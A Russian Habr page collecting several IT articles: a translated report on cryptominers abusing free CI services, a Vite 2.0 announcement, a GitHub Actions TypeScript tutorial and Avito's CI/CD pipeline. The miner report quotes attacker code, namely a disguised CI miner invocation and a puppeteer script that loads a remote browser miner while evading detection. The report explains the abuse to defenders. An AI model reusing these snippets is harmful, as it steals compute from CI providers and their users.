Русский
Русский
English
Статистика
Реклама

Системы сборки

Перевод Как криптомайнеры убивают бесплатные CI

28.04.2021 20:06:12 | Автор: admin

СI-платформы, такие как LayerCI, GitLab, TravisCI, и Shippable ухудшают, а то и вовсе закрывают свои бесплатные сервера из-за атак с целью скрытого майнинга.

1 сентября 2020 года GitLab объявил что ограничивает бесплатное использование CI в ответ на эксплуатацию. Два месяца спустя TravisCI анонсировал схожие ограничения из-за серьезных злоупотреблений. В это же время возросла рыночная капитализация добываемых криптовалют.

Рыночная капитализация криптовалюты подскочила со 190 млрд до 2 трлн за один год.Рыночная капитализация криптовалюты подскочила со 190 млрд до 2 трлн за один год.

Эти события связаны между собой: поскольку рыночная капитализация криптовалюты выросла с 190 млн. долларов в январе 2020 до 2 триллионов в апреле 2021, злоумышленникам стало выгодно атаковать бесплатные сервера PaaS провайдеров.

Контекст

В LayerCI мы помогаем разработчикам создавать полнофункциональные веб-сайты, создавая среды предварительного просмотра и автоматически запуская для них E2E тесты. Это называется CI (Непрерывная интеграция).

Поскольку разработчики могут запускать на наших серверах произвольный код, они часто нарушают условия обслуживания для того, чтобы запускать майнеры криптовалюты в качестве этапа сборки для своих веб-сайтов. Подробнее можно прочитать тут.

717 GitHub коммитов за один месяц

testronan заядлый пользователь Flask. Каждый час он делает коммит в своем единственном GitHub репозитории: testronan/MyFirstRepository-Flask.

Продуктивный программист, безусловно, должен убедиться в том, что внесенные им изменения хорошо протестируются. Поэтому его репозиторий содержит конфигурации аж для пяти разных CI-платформ: TravisCI, CircleCI, GitHub Actions, Wercker, и LayerCI.

Похоже он довольно опытен в написании скриптов. Его СI таски запускают listhen.sh: shell скрипт, который объединяет сложный NodeJS скрипт с, на первый взгляд, случайными числами:

(sleep 10; echo 4; sleep 2; echo "tex.webd";sleep 2; echo 7; sleep 1; echo 1; sleep 1; echo "exit"; sleep 2) | stdbuf -oL npm run commands  

MyFirstRepository-Flask не имеет ничего общего с Flask или веб-серверами. В нем размещены скрипты для майнинга криптовалюты, которые отправляют WebDollars (прим. криптовалюта) на анонимный адрес. Числа соответствуют настройкам реализации WebDollar на NodeJS.

Репозиторий не атакует GitHub напрямую, вместо этого он злоупотребляет функцией cron для создания нового коммита каждый час и майнинга WebDollar на четырех оставшихся платформах.

При пиковой апрельской цене WebDollar в 0.0005 долларов репозиторий зарабатывал 77 долларов в месяц значительная для многих стран сумма, особенно учитывая, что для заработка необходим лишь ноутбук и интернет-соединение.

Два кошелька, на который приходит добытая криптовалюта:

Майнинг криптовалюты в браузере

Пользователь vippro99 описывает свои намерения менее изящно. Из десятков репозиториев большинство связано либо с криптовалютой либо с автоматизацией браузера.

Репозиторий nodejs-monney содержит различные скрипты для запуска экземпляров Chrome c популярным гугловским puppeteer project.

Идея проста: майнинг криптовалюты непосредственно в CI довольно легко обнаружить (например, с помощью анализа исполняемого содержимого), но автоматизация браузера это обычная рабочая нагрузка в CI.

puppeteer.launch({ headless: true, args: ['--no-sandbox', '--disable-setuid-sandbox', '--window-size=500,500', '--user-agent=Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36' ] }).then(async browser => {  console.log('-- Running chrome!!'); const page = await browser.newPage(); await page.goto('https://vippro99.github.io/-meocoder-nodejs-tool/index.html');  page.on('console', (msg) => console.log(msg.text())); await page.waitForTimeout(((Math.floor(Math.random() * 6) + 52) * 60) * 1000); await browser.close(); })

Данный GitHub Pages веб-сайт содержит простой браузерный майнер криптовалюты Monero, напоминающий Coinhive.

На момент написания аккаунт атаковал JFrog's Shippable CI, которая (возможно, в связи с этим) анонсировала об окончании поддержки бесплатных серверов в начале этого года.

Судя по комментариям vippro99, он проживает во Вьетнаме. При текущей цене Monero, каждый экземпляр майнера на Shippable приносит 2.5 доллара в месяц, поэтому поддержание 60 экземпляров равносильно полному рабочему дню в этой стране.

Решение проблемы

Ethereum, вторая по популярности криптовалюта, недавно объявила о планах прекращения поддержки майнинга на основе вычислений, полностью переключившись на модель Proof-of-Stake (PoS).

Помимо негативного воздействия традиционного proof-of-work майнинга на окружающую среду, существуют и другие неприятные аспекты: мировая нехватка графических процессоров и атаки на CI-платформы.

Провайдеры будут делать все возможное, чтобы обеспечить соблюдение условий обслуживания, но пока атаки выгодны и трудноотслеживаемы, они будут приобретать все более изощренный характер. Единственный долгосрочный способ и дальше пользоваться бесплатными серверами в Heroku, Netlify и GitHub это отказ от proof-of-work.


Дата-центр ITSOFT размещение и аренда серверов и стоек в двух дата-центрах в Москве. За последние годы UPTIME 100%. Размещение GPU-ферм и ASIC-майнеров, аренда GPU-серверов, лицензии связи, SSL-сертификаты, администрирование серверов и поддержка сайтов.

Правильно и недорого майнить криптовалюту можно в майнинг-отелеhttps://itsoft.ru/data-center/mining/

Подробнее..

Перевод Анонс Vite 2.0

17.02.2021 12:10:47 | Автор: admin

Сегодня я рад объявить об официальном релизе Vite 2.0!

Vite (французское слово означает быстрый, произносится /vit/ ("вит" при. пер.)) - это новый вид инструментов сборки для веб-разработки. Подумайте о предварительно сконфигурированном dev-сервере + сборщик, но более компактном и быстром. Он использует встроенную в браузер поддержку ES модулей и инструменты, такие как esbuild, для быстрого и современного опыта разработки.

Чтобы понять, насколько быстро работает Vite, вот видео сравнение загрузки приложения React на Repl.it с использованием Vite и create-react-app (CRA):

Если вы никогда раньше не слышали о Vite и хотели бы узнать о нем больше, ознакомьтесь с обоснованием этого проекта. Если вам интересно, чем Vite отличается от других аналогичных инструментов, посмотрите сравнения.

Что нового в версии 2.0

Поскольку мы решили полностью реорганизовать внутреннее устройство до того, как версия 1.0 вышла из RC, это фактически первая стабильная версия Vite. Тем не менее, Vite 2.0 имеет много значительных улучшений по сравнению с предыдущим воплощением:

Агностическое ядро фреймворка

Первоначальная идея Vite зародилась как хакерский прототип, который обслуживает однофайловые компоненты Vue через ESM. Vite 1 был продолжением этой идеи с реализованным HMR поверх.

Vite 2.0 вобрал то, что мы узнали в процессе, но был переработан с нуля с более надежной внутренней архитектурой. Теперь он полностью независим от фреймворка, а вся специфичная для фреймворков функциональность делегируется плагинам. В настоящее время существуют официальные шаблоны для Vue, React, Preact, Lit Element и продолжается интеграции Svelte усилиями сообщества.

(Смотрите так же Awesome Vite - Прим. Пер.)

Новый формат плагинов и API

Вдохновленная WMR, новая система плагинов расширяет интерфейс плагинов Rollup и совместима со многими плагинами Rollup из коробки. Плагины могут использовать перехватчики, совместимые с Rollup, с дополнительными перехватчиками и свойствами, специфичными для Vite, для настройки поведения исключительно для Vite (например, различное поведение при разработке и сборке или настраиваемая обработка HMR).

Программный API также был значительно улучшен, чтобы упростить работу с инструментами / фреймворками более высокого уровня, созданными на основе Vite.

Предварительная сборка зависимостей используя esbuild

Поскольку Vite является собственным сервером разработки и использует ESM, он предварительно собирает и упаковывает зависимости, чтобы уменьшить количество запросов браузера и обрабатывать преобразование CommonJS в ESM. Раньше Vite делал это с помощью Rollup, а в версии 2.0 используется esbuild, что приводит к 10-100-кратному ускорению предварительной сборки зависимостей. Для справки, холодная загрузка тестового приложения с тяжелыми зависимостями, такими как React Meterial UI, раньше занимала 28 секунд на Macbook Pro с процессором M1, а теперь занимает ~1,5 секунды. Ожидайте аналогичных улучшений, если вы переходите с традиционной установки на основе сборщика.

Первоклассная поддержка CSS

Vite рассматривает CSS как важную часть графа модулей и поддерживает следующее из коробки:

  1. Улучшение преобразователя: пути @import и url() в CSS улучшены с помощью преобразователя Vite для учета псевдонимов и зависимостей npm.

  2. Перебазирование URL: пути url() автоматически изменяются независимо от того, откуда импортируется файл.

  3. Разделение CSS кода: отделённый фрагмент JS также генерирует соответствующий отдельный файл CSS, который автоматически загружается параллельно с фрагментом JS по запросу.

Server-Side Rendering (SSR) Support

Vite 2.0 поставляется с экспериментальной поддержкой SSR. Vite предоставляет API-интерфейсы для эффективной загрузки и обновления исходного кода на основе ESM в Node.js во время разработки (почти как HMR на стороне сервера) и автоматически экстернализирует совместимые с CommonJS зависимости для повышения скорости разработки и сборки SSR. Продуктовый сервер можно полностью отделить от Vite, и ту же настройку можно легко адаптировать для выполнения предварительного рендеринга / SSG.

Vite SSR предоставляется как функция низкого уровня, и мы ожидаем увидеть фреймворки более высокого уровня, использующие ее под капотом.

Поддержка устаревших браузеров

Vite по умолчанию нацелен на современные браузеры с собственной поддержкой ESM, но вы также можете получить поддержку устаревших браузеров через официальный @vitejs/plugin-legacy. Плагин автоматически создает двойные modern/legacy пакеты и предоставляет правильный пакет на основе браузера, обеспечивая более эффективный код в современных браузерах.

Попробуйте!

Это было много изменений, но начать работу с Vite просто! Вы можете запустить приложение на базе Vite буквально за минуту, начиная со следующей команды (убедитесь, что у вас Node.js> = 12):

npm init @vitejs/app

Затем ознакомьтесь с руководством, чтобы узнать, что Vite предлагает из коробки. Вы также можете проверить исходный код на GitHub, следить за обновлениями в Twitter или присоединиться к обсуждениям с другими пользователями Vite на нашем сервере чата Discord.

Подробнее..

Пишем простейший GitHub Action на TypeScript

09.06.2021 16:12:52 | Автор: admin

Недавно я решил немного привести в порядок несколько своих .NET pet-проектов на GitHub, настроить для них нормальный CI/CD через GitHub Actions и вынести всё в отдельный репозиторий, чтобы все скрипты лежали в одном месте. Для этого пришлось немного поизучать документацию, примеры и существующие GitHub Actions, выложенные в Marketplace.

В данной статье я решил собрать самую основную информацию, которая нужна для того, чтобы написать простейший GitHub Action с использованием TypeScript.

Статья в первую очередь рассчитана на начинающих, тех, кто никогда не использовал GitHub Actions, но хотел бы быстро начать. Тем не менее, даже если у вас уже есть подобный опыт, но вы, например, не использовали ncc, то, возможно, и для вас в ней будет что-то полезное.

Краткое введение в GitHub Actions

В основе GitHub Actions лежит понятие Workflow - некий рабочий процесс, который запускается по определённым триггерам. В одном репозитории может быть как один рабочий процесс, так и несколько отдельных, срабатывающий при разных условиях.

Чтобы добавить рабочий процесс, нужно создать в репозитории один или несколько yml-файлов в папке .github/workflows. Простейший файл может выглядеть следующим образом:

name: Helloon: [push]jobs:  Hello:    runs-on: ubuntu-latest    steps:      - name: Checkout        uses: actions/checkout@v2      - name: Hello        run: echo "Hello, GitHub Actions!"

В данном случае мы указываем, что хотим запускать рабочий процесс при пуше в ветку. Также можно делать это по расписанию, вручную через интерфейс или по каким-то другим триггерам, например при публикации релиза или создании тикета.

Сам рабочий процесс мы можем найти на вкладке Actions в интерфейсе GitHub и посмотреть детальную информацию по нему:

Каждый рабочий процесс состоит из одного или нескольких джобов. В данном случае джоб Hello. В общем случае джобы не зависят друг от друга и могут запускаться параллельно на нескольких машинах, но при необходимости между ними можно определить зависимости.

Каждый джоб состоит из набора шагов, которые последовательно запускаются внутри одной виртуальной машины. Каждый такой шаг в свою очередь может либо выполнять произвольную команду через run, либо может запускать какое-то действие через uses.

Сами действия представляют из себя отдельный кусок рабочего процесса, который можно повторно использовать в нескольких проектах. Они могут быть трёх видов: докер контейнер, действие JavaScript, или составные действия (которые по сути просто переиспользуемый набор других действий). Вариант с действием JavaScript мы как раз и рассмотрим в этой статье, но писать его будем на TypeScript для большего удобства.

(Более подробную информацию по возможностям рабочих процессов можно найти в документации)

Пара слов о месте размещения действий в репозитории

Действия можно разместить в репозитории в нескольких местах в зависимости от потребностей:

  • В подпапке .github/actions. Такой способ обычно используется когда вы хотите использовать эти действия из того же репозитория. В этом случае ссылаться на них необходимо по пути без указания ветки или тега:

    steps:  - uses: ./.github/actions/{path}
    
  • В произвольном месте репозитория. Например, можно разместить несколько действий в корне репозитория, каждое в своей подпапке. Такой способ хорошо подходит, если вы хотите сделать что-то вроде личной библиотеки с набором действий, которые собираетесь использовать из разных проектов. В этом случае ссылаться на такие действия нужно по названию репозитория, пути и ветке или тегу:

    steps:  - uses: {owner}/{repo}/{path}@{ref}
    
  • В корне репозитория. Такой способ позволяет разместить в одном репозитории только одно действие, и обычно используется если вы хотите позже опубликовать его в Marketplace. В этом случае ссылаться на такие действия нужно по названию репозитория и ветке или тегу:

    steps:  - uses: {owner}/{repo}@{ref}
    

Создаём действие на TypeScript

В качестве примера создадим очень простое действие, которое просто выводит сообщение Hello, GitHub Actions!. Для разработки действия нам потребуется установленная версия Node.js (я использовал v14.15.5).

Создадим в репозитории папку .github/actions. В ней создадим подпапку hello, в которой будем далее создавать все файлы, относящиеся к нашему действию. Нам потребуется создать всего четыре файла.

Создаём файл action.yml:

name: Hellodescription: Greet someoneruns:  using: node12  main: dist/index.jsinputs:  Name:    description: Who to greet    required: true

Этот файл содержит метаданные нашего действия. По его наличию GitHub понимает, что в папке расположен не случайный набор файлов, а именно какое-то действие, которое можно загрузить и выполнить.

Также мы указываем, что это именно JavaScript действие, а не докер контейнер и указываем точку входа: файл dist/index.js. Этого файла у нас пока нет, но он будет автоматически создан чуть позже.

Кроме этого мы можем указать в этом файле набор входных и выходных параметров. В данном случае мы передаём в качестве параметра имя для приветствия.

(Более подробную информацию по возможностям файла метаданных можно найти в документации)

Создаём файл package.json:

{  "private": true,  "scripts": {    "build": "npx ncc build ./src/main.ts"  },  "dependencies": {    "@actions/core": "^1.2.7",    "@actions/exec": "^1.0.4",    "@actions/github": "^4.0.0",    "@actions/glob": "^0.1.2",    "@types/node": "^14.14.41",    "@vercel/ncc": "^0.28.3",    "typescript": "^4.2.4"  }}

Это стандартный файл для Node.js. Чтобы не указывать бесполезные атрибуты типа автора, лицензии и т.п. можно просто указать, что пакет private. (При желании можно конечно всё это указать, кто я такой, чтобы вам это запрещать =)

В скриптах мы указываем один единственный скрипт сборки, который запускает утилиту ncc. Эта утилита на вход получает файл src/main.ts и создаёт файл dist/index.js, который является точкой входа для нашего действия. Я вернусь к этой утилите чуть позже.

В качестве зависимостей мы указываем typescript и @types/node для работы TypeScript. Зависимость @vercel/ncc нужна для работы ncc.

Зависимости @actions/* опциональны и являются частью GitHub Actions Toolkit - набора пакетов для разработки действий (я перечислил самые на мой взгляд полезные, но далеко не все):

  • Зависимость @actions/core понадобится вам вероятнее всего. Там содержится базовый функционал по выводу логов, чтению параметров действия и т.п. (документация)

  • Зависимость @actions/exec нужна для запуска других процессов, например dotnet. (документация)

  • Зависимость @actions/github нужна для взаимодействия с GitHub API. (документация)

  • Зависимость @actions/glob нужна для поиска файлов по маске. (документация)

Стоит также отметить, что формально, поскольку мы будем компилировать наше действие в один единственный файл dist/index.js через ncc, все зависимости у нас будут зависимостями времени разработки, т.е. их правильнее помещать не в dependencies, а в devDependencies. Но по большому счёту никакой разницы нет, т.к. эти зависимости вообще не будут использоваться во время выполнения.

Создаём файл tsconfig.json:

{  "compilerOptions": {    "target": "ES6",    "module": "CommonJS",    "moduleResolution": "Node",    "strict": true  }}

Тут всё достаточно просто. Это минимальный файл, с которым всё хорошо работает, включая нормальную подсветку синтаксиса и IntelliSense в Visual Studio Code.

Создаём файл src/main.ts:

import * as core from '@actions/core'async function main() {  try {    const name = core.getInput('Name');    core.info(`Hello, ${name}`);  } catch (error) {    core.setFailed(error.message)  }}main();

В качестве точки входа мы используем синхронную или асинхронную функцию main, которую вызываем в этом же файле. (Название функции также может быть любым).

Тело функции необходимо обернуть в блок try-catch, чтобы в случае любых ошибок сборка в GitHub прерывалась. Без этого она всегда будет считаться успешной.

В данном конкретном случае мы также используем пакет @actions/core для чтения параметров и вывода сообщения в лог.

Собираем действие при помощи ncc

После того, как все файлы созданы нам первым делом необходимо восстановить все пакеты из npm. Для этого нам нужно перейти в папку действия (не в корень репозитория) и выполнить команду:

npm install

А дальше возникает нюанс. Если прочитать официальную документацию, чтобы GitHub мог корректно загрузить и выполнить действие, все скрипты, включая зависимости должны находиться в том же репозитории. Это означает, что нам по сути предлагается закоммитить папку node_modules в репозиторий, что, на мой взгляд, не очень красивое решение.

В качестве альтернативы можно воспользоваться пакетом @vercel/ncc, который позволяет собрать js или ts-файлы в один единственный js-файл, который уже можно закоммитить в репозиторий.

Поскольку мы уже указали скрипт для сборки в файле package.json, нам осталось только запустить команду:

npm run build

В результате мы получим файл dist/index.js, который нужно будет закоммитить в репозиторий вместе с остальными файлами. Папка node_modules при этом может быть спокойно отправлена в .gitignore.

Используем действие

Чтобы протестировать действие, создадим в папке .github/workflows файл рабочего процесса. Для разнообразия сделаем так, чтобы он запускался не по пушу, а вручную из интерфейса:

name: Helloon:  workflow_dispatch:    inputs:      Name:        description: Who to greet        required: true        default: 'GitHub Actions'jobs:  Hello:    runs-on: ubuntu-latest    steps:      - name: Checkout        uses: actions/checkout@v2      - name: Hello        uses: ./.github/actions/hello        with:          Name: ${{ github.event.inputs.Name }}

Здесь настройки workflow_dispatch описывают форму в интерфейсе GitHub в которую пользователь сможет ввести данные. Там у нас будет одно единственное поле для ввода имени для приветствия.

Данные, введённые в форму через событие передаются в действие, которое мы запускаем в рабочем процессе через параметр github.event.inputs.Name.

Кроме этого, поскольку действие находится в том же репозитории, что и рабочий процесс, нам обязательно необходимо сделать checkout, чтобы все скрипты были доступны в рабочей папке.

После того, как мы запушим наш рабочий процесс, мы можем перейти в интерфейс GitHub, на странице Actions выбрать наш рабочий процесс и запустить его выполнение, указав параметры:

После того, как мы запустим рабочий процесс, можем зайти в него и посмотреть, что получилось:

Настраиваем GitHooks для автоматической сборки

В целом всё хорошо, мы создали действие с использованием TypeScript и запустили его из рабочего процесса. На этом уже можно было бы закончить, но осталась одна маленькая деталь.

Каждый раз, когда мы будем изменять код действия нам нужно не забыть вызвать команду:

npm run build

По моему опыту такой ручной запуск постоянно будет приводить к ситуации "Я вроде поменял код и запушил его на сервер, но у меня ничего не поменялось. А, блин, я же забыл пересобрать файлы...".

Решить эту проблему можно несколькими способами. Можно не париться и действительно каждый раз запускать сборку руками. В некоторых проектах люди подходят к этому основательно и делают специальный рабочий процесс через тот же GitHub Actions, который на каждый коммит пытается пересобрать действие и коммитит изменения.

Я для себя себя решил проблему проще и просто добавил гит хук, который автоматически пересобирает все действия в репозитории на каждый коммит. Для этого необходимо создать в репозитории папку .githooks, а в ней файл pre-commit следующего вида:

#!/bin/shfor action in $(find ".github/actions" -name "action.yml"); do    action_path=$(dirname $action)    action_name=$(basename $action_path)    echo "Building \"$action_name\" action..."    pushd "$action_path" >/dev/null    npm run build    git add "dist/index.js"    popd >/dev/null    echodone

Здесь мы находим все файлы action.yml в папке .github/actions и для всех найденных файлов запускаем сборку из их папки. Теперь нам не нужно будет думать о явной пересборке наших действий, она будет делаться автоматически.

Чтобы хуки из папки .githooks запускались, нам необходимо поменять конфигурацию для текущего репозитория:

git config core.hooksPath .githooks

Или можно сделать это глобально (я сделал именно так):

git config --global core.hooksPath .githooks

Заключение

В данной статье я постарался собрать основную информацию, необходимую для того, чтобы быстро сделать первый шаг к GitHub Actions и начать писать свои собственные скрипты автоматизации на TypeScript.

Репозиторий с примером можно найти тут: https://github.com/Chakrygin/hello-github-action

Подробнее..

CICD монолита Авито от коммита до моржа

03.06.2021 12:19:11 | Автор: admin

Всем привет, меня зовут Александр Данковцев, я lead engineer команды Antimonolith. В этой статье я расскажу, как построен CI/CD монолита Авито. Речь пойдёт про нашу архитектуру стейджинга, pre-receive хуки, то, что из себя представляет сборка и деплой, как устроен прогон автотестов и какие проверки происходят на merge. А ещё рассмотрим after-merge actions.

Перед началом повествования введу пару понятий, которые будут использоваться дальше:

  • Релиз-кандидат версия кода, которому предстоит пройти процесс валидации тестов и деплой в продакшн при успехе.

  • Срез релиз-кандидата Git-ветка, созданная от мастера в процессе запуска сборки релиза.

Архитектура стейджинга Авито

Начнём со схемы архитектуры стейджинга. Это то, где вращается сам сайт Авито и компоненты, из которых он состоит:

Авито сайт, как и любой другой микросервис в стейджинг-окружении, деплоится встейджинговый Kubernetes-кластер. У нас есть отдельный namespace avito-site-tests, вкотором расположены ресурсы сайта: базы данных, баунсеры, сервис очередей, Sphinx, прочие репликации, всякие демоны. Это сделано для того, чтобы экономить ресурсы вкластере. Непосредственно каждая ветка сайта деплоится в собственный отдельный namespace, и все бэкенды натравливаются на ресурсы, которые расположены в отдельном неймспейсе. Особняком стоит Frontend Delivery Network (FDN), куда сгружается статика сайта.

Эта инфраструктура очень сложно деплоится: раскатить весь стейджинг одной кнопкой нельзя. Поэтому стейджинг поделен на Helm-релизы.

Отдельным релизом мы катим сами ресурсы, потому что это требуется очень редко. Ресурсы это база данных, Sphinx, Redis-ы, RabbitMQ. Также отдельно по срезу релиз-кандидатов или по требованию обновляются демоны монолита. На схеме это PGQ daemons, DataBus consumers и QaaS consumers. Мы вынесли их в отдельный деплой, чтобы перераскатка не пересоздавала базу данных, потому что база достаточно большая (около 10 Гб) и её пересоздание это сброс всех данных, созданных в процессе её работы, т. е. пропадут все созданные объявления и прочие ресурсы. Мы получим неконсистентное состояние с другими сервисами.

Деплой ресурсов стартует в 7 утра, когда все разработчики ещё спят, и к утру у нас есть готовая инфраструктура. Это позволяет нам тестировать в том числе и асинрохронное взаимодействие компонентов сайта. После раскатки ресурсов происходит пересоздание релиза кронов, демонов, консумеров.

Каждый сайт из второй колонки схемы деплоится по отдельности. Грубо говоря, это происходит по пушу в ветку: мы закоммитили, запушили, и ветка собралась в отдельный namespace. Отдельно деплоится статика, об этом расскажу позже.

Каждый бэкенд сайта Kubernetes Pod состоит из пяти контейнеров:

Nginx это точка входа плюс некоторая отдача статики.

Php-fpm сам бэкенд.

Envoy-core, который отвечает за прокси в сервисы, выполняет роль DNS resolve и keepalive. Например, мы можем стучаться по http://localhost:8888/service-item и попасть в service-item. Это всё нужно для большей производительности стейджинга.

Netramesh добавляет контекст в исходящие запросы: заголовок X-Source. Он также выполняет роль динамической подмены upstream-а сервисов по входящему заголовку X-Route. Формат такой: X-Router: src_host:src_port=dst_host:dst_port.

Navigator межкластерный маршрутизатор, который резолвит ClusterIP в набор PodIP во всех доступных дата-центрах.

Посмотрим на сетевой стек стейджинга. Когда мы запрашиваем произвольную ветку сайта, запрос проходит через фронденд nginx. В нашем случае это какой-то из подмножества avi-http, который отправляет запросы на Ingress. С Ingress мы попадаем в routing-gateway. Routing-gateway занимается подмешиванием заголовка X-Route и дальше прокидывает запрос в API-gateway. API-gateway балансит, куда отправить запрос: либо это будет Avito Site, либо какой-нибудь API-сomposition. API-сomposition это десктоп-сайт на Node.js или гошный сервис, либо любой другой сервис на любом другом языке.

Quality gates

Когда мы в общих чертах поняли, как выглядит стейджинг, рассмотрим quality gates, которые применяются для Avito Site.

Основные этапы прохождения коммита таковы:

  1. Гитовые pre-receive хуки.

  2. TeamCity: CI/CD прогоняет тесты, линтеры и так далее.

  3. Проверки на merge, флаги и обязательности.

  4. Действия после merge.

Давайте же покоммитим в монолит. Предположим, мы решили что-то поправить.

Pre-receive хуки

Pre-receive хуки помогают проверить, всё ли в порядке с коммитом до его пуша в репозиторий. Таких хуков у нас не очень много.

Мы проверяем, чтобы каждый коммит содержал имя задачи в Jira. Также есть элементарные проверки синтаксиса. Допустим, если где-то точку с запятой поставили не так, pre-receive хук скажет, что допущена синтаксическая ошибка. Мы проверяем и стиль, например, если пропущен нужный пробел между операторами, линтер сообщит об этом и не даст запушить ветку.

Плюс есть проверка на то, что коммит наш доменный, он принадлежит Авито, а не какой-то левый.

Что происходит в TeamCity

Вот максимально упрощённый граф зависимостей нашего CI/CD, я собрал основные этапы прохождения:

У нас есть всякие схема-чеки, DI-чеки, юнит-тесты, но лишь вершина айсберга. Из всей схемы я рассмотрю самый основной и сложный процесс прохождение end-to-end тестов от сборки Docker до прогона тестов.

Сборка

Перед тем, как собирать код сайта, мы подтягиваем мастер. Это нужно, чтобы избежать shadow-коммитов и отловить на ранних стадиях ситуации, когда одновременно разрабатывались две ветки, и кто-то замерджил конфликтующую логику. После подтягивания мастера происходит непосредственно сборка и потом пуш образа.

В сборке образа мы используем паттерн build-образ и push-образ. Build-образ большой и тяжёлый, с кучей зависимостей, сишных библиотек и прочих утилит, которые нужны, чтобы собирать непосредственно код. Для рантайма же этих зависимостей не должно быть. То есть унас собирается некоторый артефакт на этапе build code, после этого сбилженная статика загружается в Ceph. А остальная часть собранного кода запекается в Docker-образ и позже пушится.

Вот как происходит build code:

  1. Установка composer-зависимостей.

  2. Кодогенерация, например, генерация client-shop.

  3. Сборка DI, у нас используется Symfony.

  4. Сборка фронденда. Собирается npm, собирается Twig в кэши.

  5. Деплой хранимых процедур. Мы получаем свободного юзера, назначаем ему схему, search pass, и накатываем туда хранимки.

  6. Сборка словарей файловое представление справочных данных из базы или сервисов.

  7. Если всё прошло успешно, последний этап сборка артефактов, то есть генерация app.toml, swagger, rev.txt. Rev.txt это идентификатор сборки, окружение, в котором она собиралась, и прочая отладочная информация.

Деплой

Когда образ собрался и запушился, приходит следующая TeamCity сборка деплой.

Процесс следующий:

  1. Деплой в Kubernetes-кластер.

  2. Валидация доступности хоста: делается curl с небольшим прогрессирующим шагом, пока хост не станет отдавать код 200. Helm предоставляет информацию о том, что он успешно раскатился, проходят health-чеки и так далее.

  3. Регистрация хоста в routing-gateway.

  4. Автоматическая отбивка в Slack, о том, что хост собрался.

Автотесты

Хост собрался, самое время запускать end-to-end тесты. Если говорить простым языком, у нас сначала отрабатывает сборка Build E2E. В отдельный архив собирается папка с тестами и пушится в Artifactory. От E2E-тестов идёт много связей, я приводил их на первой картинке проTeamCity.

Для простоты рассмотрим одну из них E2E Test Suite. В этом билде настроено, какой тип тестов запускать, допустим, web или api, или заданы какие-то дополнительные параметры, например, относящиеся к конкретному юниту Авито. Этот билд общается с сервисом параллельного запуска автотестов: посылает ему задачу, сервис её исполняет и получает ответ.

Если копнуть немного глубже, то билд, прогоняющий тесты, представляет собой TeamCity meta runner, который через Docker запускает небольшое приложение, где реализован клишный parallel-client. Parallel-client делает запрос в parallel manager и передаёт ему все метаданные сборки: какие тесты к какому юниту относятся, какой артефакт был запушен в Artifactory. Parallel manager, получив результат, перекладывает всё в очередь и отвечает клиенту, что всё окей, я принял результат. После этого клиент начинает периодически поллить parallel manager на информацию о том, прошли тесты или нет.

Когда задача поставлена в очередь на исполнение тестов, подключается parallel worker. Воркер вычитывает очередь заданий, которые ему поставили для выполнения тестов, и находит в данных мета-информацию о месте хранения этих тестов. В мета-информации есть ссылка на скачивание архива, который на раннем этапе был загружен в Artifactory. Воркер скачивает себе архив с тестами и запускает command для их прогона.

Тесты ходят в Selenium, который ходит по сайту через Firefox, Chrome или любой другой браузер. Тесты также пользуются файловой системой (fs-qa), куда сохраняют скриншоты, html-странички и прочее. На результат выполнения смотрит воркер: для успеха код ответа 0, для провала 1.

После этого parallel worker пушит каждый выполненный кусочек задачи в отдельную очередь результаты выполнения тестов. Эту очередь слушает parallel manager. Когда менеджер получает результаты, он отгружает их в tests reporters backend, где хранятся отчёты о том, что такой-то тест столько-то выполнялся и прочая информация.

Parallel client через cli-команду запрашивает у test reporter backend финальную информацию отом, что все тесты пройдены. В ней отмечено, сколько тестов прошли, например, 150 из 170. На основе этой информации билд становится зелёным или красным. Также после получения этой информации в TeamCity создаётся артефакт со ссылкой на frontend test reporter. Мы можем зайти в него из TeamCity и визуально посмотреть полную отчётность о том, какие тесты прошли и сколько они выполнялись.

Вот как весь процесс выглядит схематически:

Каждый Е2Е-тест создаёт свою коллекцию тестов, а каждая коллекция тестов создаёт свои репорты, и их довольно много. На прогоне ветки для сайта у нас получается семь Е2Е-сьютов, а для релиза их порядка 50 штук. Когда все отчёты собрались и пришли отбивки в stash, мы можем зайти в stash и замерджить ветку.

Проверки на merge

Помимо стандартной проверки на наличие апрува и свалившиеся или не свалившиеся билды, мы используем свой кастомный плагин, который проверяет, можно ли мерджить ветку вмастер.

Merge-плагин анализирует diff, то, какие файлы были изменены, и выставляет флаги для текущего pull request. Если в pull request были изменения PHP-файлов, он ставит backend changes, если были изменения JS или CSS frontend changes. Маркируются и случаи, когда произошли изменения в папке с Е2Е-тестами, например, buyer test changes. В итоге работы плагина у pull request появляются флаги, что в нём потрогали: frontend, backend и тесты байеров.

Наименование флага

Значение

Условие

Backend changes

Yes

*.php

Frontend changes

No

*.css, *.js

Buyer E2E changes

No

tests/e2e/BuyerTests/*

DataBase changes

Yes

*.sql

Также у нас есть карта всех билдов, которые мы хотим валидировать на pull request Avito Site. Но мы не хотим, чтобы каждое изменение в read.me порождало требование пройти 30проверок. Мы хотим, чтобы если потрогали какой-нибудь текстовый файлик, было наличие только одного апрува. Это достигается тем, что каждая проверка маркируется списком флажков, на которые она должна срабатывать.

Наименование линтера

Список флажков

UnitTests

Backend changes

FrontendCI

Frontend changes

DockerBuild

Backend changes, Frontend changes, Database changes

BuyerE2E Suite

Buyer E2E changes

Например, для "BuyerE2E Suite" проверка прогоняется в том случае, если на pull request был выставлен флаг "Buyer E2E changes". Если мы не трогали папку с байерами, то проверки не будут обязательными, на pull request не будет требоваться, что они должны быть зелёными. Если потрогали SQL-ки, значит, обязательно должны пройти интеграционные тесты на базе, и так далее.

Действия после merge

Когда все тесты прошли, все условия соблюдены, все нужные галочки стоят, мы наконец-то можем слить ветку в мастер. Но здесь всё не останавливается. После этого у нас срабатывает механика after-merge.

Её реализует плагин в нашем stash, который слушает изменения на merge и триггерит соответствующие сборки в TeamCity. Прежде всего, он делает удаление хоста, что экономит нам ресурсы: Kubernetes не резиновый. Ceph тоже не резиновый, поэтому после мерджа происходит очистка статики. И в конце плагин снимает регистрацию с routing-gateway.

Теперь всё, мы в мастере.

А что с релизами?

В статье я не стал рассматривать релизы Авито. Они, в принципе, очень похожи на описанный выше процесс. В релизах просто происходит не pull request в мастер, а срез ветки. Востальном смысл тот же: сборка сайта, прогоны Е2Е-тестов, просто их больше, а вместо проверки в stash на merge-check валидация релиз-инженерами.

Подробнее..

Теперь YouTrack интегрируется с GitLab CICD

28.05.2021 14:21:34 | Автор: admin

Привет, Хабр!

